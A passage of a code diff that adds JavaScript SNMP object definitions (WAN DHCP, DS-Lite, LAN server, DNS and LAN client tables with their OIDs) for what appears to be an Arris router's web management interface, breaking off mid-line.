+WanDHCPObjects.WanRenewLease= new Scalar("WanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.1",2); +WanDHCPObjects.WanReleaseLease= new Scalar("WanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.2",2); +WanDHCPObjects.WanDHCPDuration= new Scalar("WanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.12.3",66); +WanDHCPObjects.WanDHCPExpire= new Scalar("WanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.12.4",4, 1); +WanDHCPObjects.WanRenewLeaseV6= new Scalar("WanRenewLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.5",2); +WanDHCPObjects.WanReleaseLeaseV6= new Scalar("WanReleaseLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.6",2); +WanDHCPObjects.WanDHCPDurationV6= new Scalar("WanDHCPDurationV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.7",66); +WanDHCPObjects.WanDHCPExpireV6= new Scalar("WanDHCPExpireV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.8",4, 1); +var arWanRenewLease=WanDHCPObjects.WanRenewLease; +var arWanReleaseLease=WanDHCPObjects.WanReleaseLease; +var arWanDHCPDuration=WanDHCPObjects.WanDHCPDuration; +var arWanDHCPExpire=WanDHCPObjects.WanDHCPExpire; +var arWanRenewLeaseV6=WanDHCPObjects.WanRenewLeaseV6; +var arWanReleaseLeaseV6=WanDHCPObjects.WanReleaseLeaseV6; +var arWanDHCPDurationV6=WanDHCPObjects.WanDHCPDurationV6; +var arWanDHCPExpireV6=WanDHCPObjects.WanDHCPExpireV6; + +var PrivateWanObjects = new Container("PrivateWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.15"); +PrivateWanObjects.PrivateWanRenewLease= new Scalar("PrivateWanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.1",2); +PrivateWanObjects.PrivateWanReleaseLease= new Scalar("PrivateWanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.2",2); +PrivateWanObjects.PrivateWanDHCPDuration= new Scalar("PrivateWanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.15.3",66); +PrivateWanObjects.PrivateWanDHCPExpire= new Scalar("PrivateWanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.15.4",4, 1); +PrivateWanObjects.PrivateWanCurrentIPAddrType= new Scalar("PrivateWanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.5",2); +PrivateWanObjects.PrivateWanCurrentIPAddr= new Scalar("PrivateWanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.6",4, 1); +PrivateWanObjects.PrivateWanCurrentPrefix= new Scalar("PrivateWanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.15.7",66); +PrivateWanObjects.PrivateWanCurrentGWType= new Scalar("PrivateWanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.15.8",2); +PrivateWanObjects.PrivateWanCurrentGW= new Scalar("PrivateWanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.15.9",4, 1); +PrivateWanObjects.PrivateWanCurrentNetMask= new Scalar("PrivateWanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.15.10",4, 1); +PrivateWanObjects.PrivateWanCurrentDomainName= new Scalar("PrivateWanCurrentDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.15.11",4); +PrivateWanObjects.PrivateWanInterfaceName= new Scalar("PrivateWanInterfaceName","1.3.6.1.4.1.4115.1.20.1.1.1.15.12",4); +PrivateWanObjects.PrivateWanMacAddr= new Scalar("PrivateWanMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.13",4, 1); +var arPrivateWanRenewLease=PrivateWanObjects.PrivateWanRenewLease; +var arPrivateWanReleaseLease=PrivateWanObjects.PrivateWanReleaseLease; +var arPrivateWanDHCPDuration=PrivateWanObjects.PrivateWanDHCPDuration; +var arPrivateWanDHCPExpire=PrivateWanObjects.PrivateWanDHCPExpire; +var arPrivateWanCurrentIPAddrType=PrivateWanObjects.PrivateWanCurrentIPAddrType; +var arPrivateWanCurrentIPAddr=PrivateWanObjects.PrivateWanCurrentIPAddr; +var arPrivateWanCurrentPrefix=PrivateWanObjects.PrivateWanCurrentPrefix; +var arPrivateWanCurrentGWType=PrivateWanObjects.PrivateWanCurrentGWType; +var arPrivateWanCurrentGW=PrivateWanObjects.PrivateWanCurrentGW; +var arPrivateWanCurrentNetMask=PrivateWanObjects.PrivateWanCurrentNetMask; +var arPrivateWanCurrentDomainName=PrivateWanObjects.PrivateWanCurrentDomainName; +var arPrivateWanInterfaceName=PrivateWanObjects.PrivateWanInterfaceName; +var arPrivateWanMacAddr=PrivateWanObjects.PrivateWanMacAddr; + +var PrivateWanCurrentDNSTable = new Table("PrivateWanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.15.14"); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex = new Column("PrivateWanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.1",66); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType = new Column("PrivateWanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.2",2); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr = new Column("PrivateWanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.3",4, 1); +var arPrivateWanCurrentDNSIPIndex=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex; +var arPrivateWanCurrentDNSIPAddrType=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType; +var arPrivateWanCurrentDNSIPAddr=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr; + +var DSLiteWanObjects = new Container("DSLiteWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.18"); +DSLiteWanObjects.DSLiteWanEnable= new Scalar("DSLiteWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.18.1",2); +DSLiteWanObjects.DSLiteWanLSNATAddrType= new Scalar("DSLiteWanLSNATAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.18.2",2); +DSLiteWanObjects.DSLiteWanLSNATAddr= new Scalar("DSLiteWanLSNATAddr","1.3.6.1.4.1.4115.1.20.1.1.1.18.3",4, 1); +var arDSLiteWanEnable=DSLiteWanObjects.DSLiteWanEnable; +var arDSLiteWanLSNATAddrType=DSLiteWanObjects.DSLiteWanLSNATAddrType; +var arDSLiteWanLSNATAddr=DSLiteWanObjects.DSLiteWanLSNATAddr; + + + +var LanConfig = new Container("LanConfig", "1.3.6.1.4.1.4115.1.20.1.1.2"); +LanConfig.LanCount= new Scalar("LanCount","1.3.6.1.4.1.4115.1.20.1.1.2.1",66); +LanConfig.LanSettings= new Scalar("LanSettings","1.3.6.1.4.1.4115.1.20.1.1.2.6",2); +var arLanCount=LanConfig.LanCount; +var arLanSettings=LanConfig.LanSettings; + +var LanSrvTable = new Table("LanSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.2.2"); +LanSrvTable.LanName = new Column("LanName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.1",4); +LanSrvTable.LanSubnetMaskType = new Column("LanSubnetMaskType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.2",2); +LanSrvTable.LanSubnetMask = new Column("LanSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3",4, 1); +LanSrvTable.LanGatewayIpType = new Column("LanGatewayIpType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.4",2); +LanSrvTable.LanGatewayIp = new Column("LanGatewayIp","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5",4, 1); +LanSrvTable.LanGatewayIp2Type = new Column("LanGatewayIp2Type","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.6",2); +LanSrvTable.LanGatewayIp2 = new Column("LanGatewayIp2","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.7",4, 1); +LanSrvTable.LanVLanID = new Column("LanVLanID","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.8",66); +LanSrvTable.LanUseDHCP = new Column("LanUseDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.9",2); +LanSrvTable.LanStartDHCPType = new Column("LanStartDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.10",2); +LanSrvTable.LanStartDHCP = new Column("LanStartDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.11",4, 1); +LanSrvTable.LanEndDHCPType = new Column("LanEndDHCPType","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.12",2); +LanSrvTable.LanEndDHCP = new Column("LanEndDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.13",4, 1); +LanSrvTable.LanLeaseTime = new Column("LanLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.14",66); +LanSrvTable.LanDomainName = new Column("LanDomainName","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.15",4, 1); +LanSrvTable.LanRateLimit = new Column("LanRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.16",2); +LanSrvTable.LanDownRateLimit = new Column("LanDownRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.17",66); +LanSrvTable.LanUpRateLimit = new Column("LanUpRateLimit","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.18",66); +LanSrvTable.LanRelayDNS = new Column("LanRelayDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.19",2); +LanSrvTable.LanIPv6Mode = new Column("LanIPv6Mode","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.20",2); +LanSrvTable.LanPassThru = new Column("LanPassThru","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.21",2); +LanSrvTable.LanFirewallOn = new Column("LanFirewallOn","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.22",2); +LanSrvTable.LanUPnPEnable = new Column("LanUPnPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.23",2); +LanSrvTable.LanCPEAging = new Column("LanCPEAging","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.24",2); +LanSrvTable.LanOverrideDNS = new Column("LanOverrideDNS","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.25",2); +LanSrvTable.LanNatAlgsEnabled = new Column("LanNatAlgsEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.26",4, 1); +LanSrvTable.LanMappedInterface = new Column("LanMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.27",66); +LanSrvTable.LanEnvironmentControl = new Column("LanEnvironmentControl","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.28",2); +LanSrvTable.LanPrefixLengthV6 = new Column("LanPrefixLengthV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.29",66); +LanSrvTable.LanUseDHCPV6 = new Column("LanUseDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.30",2); +LanSrvTable.LanStartDHCPV6 = new Column("LanStartDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.31",4, 1); +LanSrvTable.LanEndDHCPV6 = new Column("LanEndDHCPV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.32",4, 1); +LanSrvTable.LanLeaseTimeV6 = new Column("LanLeaseTimeV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.33",66); +LanSrvTable.LanLinkLocalAddressV6 = new Column("LanLinkLocalAddressV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.34",4, 1); +LanSrvTable.LanDNSRelayV6 = new Column("LanDNSRelayV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.35",2); +LanSrvTable.LanDNSOverrideV6 = new Column("LanDNSOverrideV6","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.36",2); +LanSrvTable.LanRouterAdminBridgeOptionDisplay = new Column("LanRouterAdminBridgeOptionDisplay","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.38",2); + +// scm start +//LanSrvTable.LanQosEnable = new Column("LanQosEnable","1.3.6.1.4.1.4115.1.20.1.1.2.2.1.46",2); +// scm end +var arLanName=LanSrvTable.LanName; +var arLanSubnetMaskType=LanSrvTable.LanSubnetMaskType; +var arLanSubnetMask=LanSrvTable.LanSubnetMask; +var arLanGatewayIpType=LanSrvTable.LanGatewayIpType; +var arLanGatewayIp=LanSrvTable.LanGatewayIp; +var arLanGatewayIp2Type=LanSrvTable.LanGatewayIp2Type; +var arLanGatewayIp2=LanSrvTable.LanGatewayIp2; +var arLanVLanID=LanSrvTable.LanVLanID; +var arLanUseDHCP=LanSrvTable.LanUseDHCP; +var arLanStartDHCPType=LanSrvTable.LanStartDHCPType; +var arLanStartDHCP=LanSrvTable.LanStartDHCP; +var arLanEndDHCPType=LanSrvTable.LanEndDHCPType; +var arLanEndDHCP=LanSrvTable.LanEndDHCP; +var arLanLeaseTime=LanSrvTable.LanLeaseTime; +var arLanDomainName=LanSrvTable.LanDomainName; +var arLanRateLimit=LanSrvTable.LanRateLimit; +var arLanDownRateLimit=LanSrvTable.LanDownRateLimit; +var arLanUpRateLimit=LanSrvTable.LanUpRateLimit; +var arLanRelayDNS=LanSrvTable.LanRelayDNS; +var arLanIPv6Mode=LanSrvTable.LanIPv6Mode; +var arLanPassThru=LanSrvTable.LanPassThru; +var arLanFirewallOn=LanSrvTable.LanFirewallOn; +var arLanUPnPEnable=LanSrvTable.LanUPnPEnable; +var arLanCPEAging=LanSrvTable.LanCPEAging; +var arLanOverrideDNS=LanSrvTable.LanOverrideDNS; +var arLanNatAlgsEnabled=LanSrvTable.LanNatAlgsEnabled; +var arLanMappedInterface=LanSrvTable.LanMappedInterface; +var arLanEnvironmentControl=LanSrvTable.LanEnvironmentControl; +var arLanPrefixLengthV6=LanSrvTable.LanPrefixLengthV6; +var arLanUseDHCPV6=LanSrvTable.LanUseDHCPV6; +var arLanStartDHCPV6=LanSrvTable.LanStartDHCPV6; +var arLanEndDHCPV6=LanSrvTable.LanEndDHCPV6; +var arLanLeaseTimeV6=LanSrvTable.LanLeaseTimeV6; +var arLanLinkLocalAddressV6=LanSrvTable.LanLinkLocalAddressV6; +var arLanDNSRelayV6=LanSrvTable.LanDNSRelayV6; +var arLanDNSOverrideV6=LanSrvTable.LanDNSOverrideV6; +//var arLanQosEnable=LanSrvTable.LanQosEnable;//added +var arLanRouterAdminBridgeOptionDisplay=LanSrvTable.LanRouterAdminBridgeOptionDisplay; + +var arrisRouterLanSrvDiscoveryObjs = new Container("arrisRouterLanSrvDiscoveryObjs", "1.3.6.1.4.1.4115.1.20.1.1.2.7"); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime= new Scalar("arrisRouterLanUPnPAdvTime","1.3.6.1.4.1.4115.1.20.1.1.2.7.1", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl= new Scalar("arrisRouterLanUPnPTtl","1.3.6.1.4.1.4115.1.20.1.1.2.7.2", 66); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf= new Scalar("arrisRouterLanZeroConf","1.3.6.1.4.1.4115.1.20.1.1.2.7.3", 2); +arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP= new Scalar("arrisRouterLanQosUPnP","1.3.6.1.4.1.4115.1.20.1.1.2.7.4", 2); +var arLanUPnPAdvTime=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPAdvTime; +var arLanUPnPTtl=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanUPnPTtl; +var arLanZeroConf=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanZeroConf; +var arLanQosUPnP=arrisRouterLanSrvDiscoveryObjs.arrisRouterLanQosUPnP; + + +var LanDNSTable = new Table("LanDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.2.3"); +LanDNSTable.LanDNSIdx = new Column("LanDNSIdx","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.1",66); +LanDNSTable.LanDNSIPAddrType = new Column("LanDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.2",2); +LanDNSTable.LanDNSIPAddr = new Column("LanDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.3",4, 1); +LanDNSTable.LanDNSRowStatus = new Column("LanDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.3.1.4",2); +var arLanDNSIdx=LanDNSTable.LanDNSIdx; +var arLanDNSIPAddrType=LanDNSTable.LanDNSIPAddrType; +var arLanDNSIPAddr=LanDNSTable.LanDNSIPAddr; +var arLanDNSRowStatus=LanDNSTable.LanDNSRowStatus; + +var CmDoc30DhcpLeaseParameters = new Container("CmDoc30DhcpLeaseParameters","1.3.6.1.4.1.4115.1.3.4.1.4.1"); +CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining = new Scalar("DhcpLeaseTimeRemaining","1.3.6.1.4.1.4115.1.3.4.1.4.1.4",2); +var arDhcpLeaseTimeRemaining = CmDoc30DhcpLeaseParameters.DhcpLeaseTimeRemaining; +CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime = new Scalar("DhcpOfferedLeaseTime","1.3.6.1.4.1.4115.1.3.4.1.4.1.1",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew = new Scalar("DhcpTimeUntilRenew","1.3.6.1.4.1.4115.1.3.4.1.4.1.2",2); +CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind = new Scalar("DhcpTimeUntilRebind","1.3.6.1.4.1.4115.1.3.4.1.4.1.3",2); +var arDhcpOfferedLeaseTime = CmDoc30DhcpLeaseParameters.DhcpOfferedLeaseTime; +var arDhcpTimeUntilRenew = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRenew; +var arDhcpTimeUntilRebind = CmDoc30DhcpLeaseParameters.DhcpTimeUntilRebind; + +var ClientObjects = new Container("ClientObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.4"); +ClientObjects.LanClientCount= new Scalar("LanClientCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.1",66); +ClientObjects.LanCustomCount= new Scalar("LanCustomCount","1.3.6.1.4.1.4115.1.20.1.1.2.4.4",66); +var arLanClientCount=ClientObjects.LanClientCount; +var arLanCustomCount=ClientObjects.LanCustomCount; + +var LanClientTable = new Table("LanClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2"); +LanClientTable.LanClientIPAddrType = new Column("LanClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.1",2); +LanClientTable.LanClientIPAddr = new Column("LanClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.2",4, 1); +LanClientTable.LanClientHostName = new Column("LanClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.3",4); +LanClientTable.LanClientMAC = new Column("LanClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.4",4, 1); +LanClientTable.LanClientMACMfg = new Column("LanClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.5",4); +LanClientTable.LanClientAdapterType = new Column("LanClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.6",2); +LanClientTable.LanClientType = new Column("LanClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.7",2); +LanClientTable.LanClientLeaseStart = new Column("LanClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.8",4, 1); +LanClientTable.LanClientLeaseEnd = new Column("LanClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.9",4, 1); +LanClientTable.LanClientStatus = new Column("LanClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.10",2); +LanClientTable.LanClientInfLease = new Column("LanClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.11",2); +LanClientTable.LanClientLeaseState = new Column("LanClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.12",2); +LanClientTable.LanClientRowStatus = new Column("LanClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.13",2); +LanClientTable.LanClientOnline = new Column("LanClientOnline","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.14",2); +LanClientTable.LanClientComment = new Column("LanClientComment","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.15",4); +LanClientTable.LanClientCustom = new Column("LanClientCustom","1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.16",2); +// scm start +LanClientTable.LanClientDeviceName = new Column("LanClientDeviceName", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.20", 2); +LanClientTable.LanClientRSSI = new Column("LanClientRSSI", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.21", 2); +LanClientTable.LanClientLinkLocalAddr= new Column("LanClientLinkLocalAddr", "1.3.6.1.4.1.4115.1.20.1.1.2.4.2.1.23", 4); + +// scm end +var arLanClientIPAddrType=LanClientTable.LanClientIPAddrType; +var arLanClientIPAddr=LanClientTable.LanClientIPAddr; +var arLanClientHostName=LanClientTable.LanClientHostName; +var arLanClientMAC=LanClientTable.LanClientMAC; +var arLanClientMACMfg=LanClientTable.LanClientMACMfg; +var arLanClientAdapterType=LanClientTable.LanClientAdapterType; +var arLanClientType=LanClientTable.LanClientType; +var arLanClientLeaseStart=LanClientTable.LanClientLeaseStart; +var arLanClientLeaseEnd=LanClientTable.LanClientLeaseEnd; +var arLanClientStatus=LanClientTable.LanClientStatus; +var arLanClientInfLease=LanClientTable.LanClientInfLease; +var arLanClientLeaseState=LanClientTable.LanClientLeaseState; +var arLanClientRowStatus=LanClientTable.LanClientRowStatus; +var arLanClientOnline=LanClientTable.LanClientOnline; +var arLanClientComment=LanClientTable.LanClientComment; +var arLanClientCustom=LanClientTable.LanClientCustom; +// scm add +var arLanClientDeviceName = LanClientTable.LanClientDeviceName; +var arLanClientRSSI = LanClientTable.LanClientRSSI; +var arLanClientLinkLocalAddr = LanClientTable.LanClientLinkLocalAddr; + + + + +var DeviceUpDownTable = new Table("DeviceUpDownTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.3"); +DeviceUpDownTable.DeviceUpDownIndex = new Column("DeviceUpDownIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.1",2); +DeviceUpDownTable.DeviceUpDownMAC = new Column("DeviceUpDownMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.2",4, 1); +DeviceUpDownTable.DeviceUpDownIPType = new Column("DeviceUpDownIPType","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.3",2); +DeviceUpDownTable.DeviceUpDownIPAddr = new Column("DeviceUpDownIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.4",4, 1); +DeviceUpDownTable.DeviceUpDownStart = new Column("DeviceUpDownStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.5",4, 1); +DeviceUpDownTable.DeviceUpDownEnd = new Column("DeviceUpDownEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.6",4, 1); +DeviceUpDownTable.DeviceUpDownStatus = new Column("DeviceUpDownStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.3.1.7",2); +var arDeviceUpDownIndex=DeviceUpDownTable.DeviceUpDownIndex; +var arDeviceUpDownMAC=DeviceUpDownTable.DeviceUpDownMAC; +var arDeviceUpDownIPType=DeviceUpDownTable.DeviceUpDownIPType; +var arDeviceUpDownIPAddr=DeviceUpDownTable.DeviceUpDownIPAddr; +var arDeviceUpDownStart=DeviceUpDownTable.DeviceUpDownStart; +var arDeviceUpDownEnd=DeviceUpDownTable.DeviceUpDownEnd; +var arDeviceUpDownStatus=DeviceUpDownTable.DeviceUpDownStatus; + +var LanCustomTable = new Table("LanCustomTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.5"); +LanCustomTable.LanCustomIdx = new Column("LanCustomIdx","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.1",66); +LanCustomTable.LanCustomMAC = new Column("LanCustomMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.2",4, 1); +LanCustomTable.LanCustomIPAddrType = new Column("LanCustomIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.3",2); +LanCustomTable.LanCustomIPAddr = new Column("LanCustomIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.4",4, 1); +LanCustomTable.LanCustomFriendName = new Column("LanCustomFriendName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.5",4); +LanCustomTable.LanCustomHostName = new Column("LanCustomHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.6",4); +LanCustomTable.LanCustomMACMfg = new Column("LanCustomMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.7",4); +LanCustomTable.LanCustomComments = new Column("LanCustomComments","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.8",4); +LanCustomTable.LanCustomRowStatus = new Column("LanCustomRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.5.1.9",2); +var arLanCustomIdx=LanCustomTable.LanCustomIdx; +var arLanCustomMAC=LanCustomTable.LanCustomMAC; +var arLanCustomIPAddrType=LanCustomTable.LanCustomIPAddrType; +var arLanCustomIPAddr=LanCustomTable.LanCustomIPAddr; +var arLanCustomFriendName=LanCustomTable.LanCustomFriendName; +var arLanCustomHostName=LanCustomTable.LanCustomHostName; +var arLanCustomMACMfg=LanCustomTable.LanCustomMACMfg; +var arLanCustomComments=LanCustomTable.LanCustomComments; +var arLanCustomRowStatus=LanCustomTable.LanCustomRowStatus; + +var LanCurrentClientTable = new Table("LanCurrentClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.6"); +LanCurrentClientTable.LanCurrentClientIndex = new Column("LanCurrentClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.1",2); +LanCurrentClientTable.LanCurrentClientIPAddrType = new Column("LanCurrentClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.2",2); +LanCurrentClientTable.LanCurrentClientIPAddr = new Column("LanCurrentClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.3",4, 1); +LanCurrentClientTable.LanCurrentClientIPAddrTextual = new Column("LanCurrentClientIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.4",4); +LanCurrentClientTable.LanCurrentClientHostName = new Column("LanCurrentClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.5",4); +LanCurrentClientTable.LanCurrentClientMAC = new Column("LanCurrentClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.6",4, 1); +LanCurrentClientTable.LanCurrentClientMACMfg = new Column("LanCurrentClientMACMfg","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.7",4); +LanCurrentClientTable.LanCurrentClientAdapterType = new Column("LanCurrentClientAdapterType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.8",2); +LanCurrentClientTable.LanCurrentClientType = new Column("LanCurrentClientType","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.9",2); +LanCurrentClientTable.LanCurrentClientLeaseStart = new Column("LanCurrentClientLeaseStart","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.10",4, 1); +LanCurrentClientTable.LanCurrentClientLeaseEnd = new Column("LanCurrentClientLeaseEnd","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.11",4, 1); +LanCurrentClientTable.LanCurrentClientStatus = new Column("LanCurrentClientStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.12",2); +LanCurrentClientTable.LanCurrentClientInfLease = new Column("LanCurrentClientInfLease","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.13",2); +LanCurrentClientTable.LanCurrentClientLeaseState = new Column("LanCurrentClientLeaseState","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.14",2); +LanCurrentClientTable.LanCurrentClientFirstSeen = new Column("LanCurrentClientFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.15",4, 1); +LanCurrentClientTable.LanCurrentClientLastSeen = new Column("LanCurrentClientLastSeen","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.16",4, 1); +LanCurrentClientTable.LanCurrentClientConnectionInfo = new Column("LanCurrentClientConnectionInfo","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.17",4); +LanCurrentClientTable.LanCurrentClientLeaseTime = new Column("LanCurrentClientLeaseTime","1.3.6.1.4.1.4115.1.20.1.1.2.4.6.1.18",2); +var arLanCurrentClientIndex=LanCurrentClientTable.LanCurrentClientIndex; +var arLanCurrentClientIPAddrType=LanCurrentClientTable.LanCurrentClientIPAddrType; +var arLanCurrentClientIPAddr=LanCurrentClientTable.LanCurrentClientIPAddr; +var arLanCurrentClientIPAddrTextual=LanCurrentClientTable.LanCurrentClientIPAddrTextual; +var arLanCurrentClientHostName=LanCurrentClientTable.LanCurrentClientHostName; +var arLanCurrentClientMAC=LanCurrentClientTable.LanCurrentClientMAC; +var arLanCurrentClientMACMfg=LanCurrentClientTable.LanCurrentClientMACMfg; +var arLanCurrentClientAdapterType=LanCurrentClientTable.LanCurrentClientAdapterType; +var arLanCurrentClientType=LanCurrentClientTable.LanCurrentClientType; +var arLanCurrentClientLeaseStart=LanCurrentClientTable.LanCurrentClientLeaseStart; +var arLanCurrentClientLeaseEnd=LanCurrentClientTable.LanCurrentClientLeaseEnd; +var 